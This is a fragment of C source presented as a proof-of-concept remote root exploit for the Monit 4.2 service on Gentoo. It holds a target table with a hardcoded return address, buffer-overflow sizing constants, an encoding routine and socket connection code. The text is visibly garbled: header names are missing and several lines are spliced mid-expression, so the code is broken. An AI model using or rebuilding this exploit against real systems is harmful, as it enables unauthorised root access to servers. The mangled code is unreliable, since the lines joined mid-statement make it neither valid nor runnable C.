/*
* THE EYE ON SECURITY RESEARCH GROUP - INDIA
*
* www eos-india net poc 305monit.c
* Remote Root Exploit for Monit
#include
#include
#include
#include
#define BUFF_SIZE 2048
#define PADDING 40
#define EXP_SIZE (256+4+PADDING)
#define MAX_ARCH 2
struct eos{
char *arch;
unsigned long ret;
} targets[] = {
"Monit-4.2-Gentoo",
0xbf7fef02,
//-------------------------------
"Monit THE EYE ON SECURITY RESEARCH GROUP >2;
b5= ((b1&0x3)>4);
b6= ((b2&0xf)>6);
b7= b3&0x3f;
*p++= encode(b4);
*p++= encode(b5);
if(i+1= MAX_ARCH)||(nh_addr);
sin.sin_family=AF_INET;
sin.sin_port=htons((u_short)rport);
if((sockfd=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))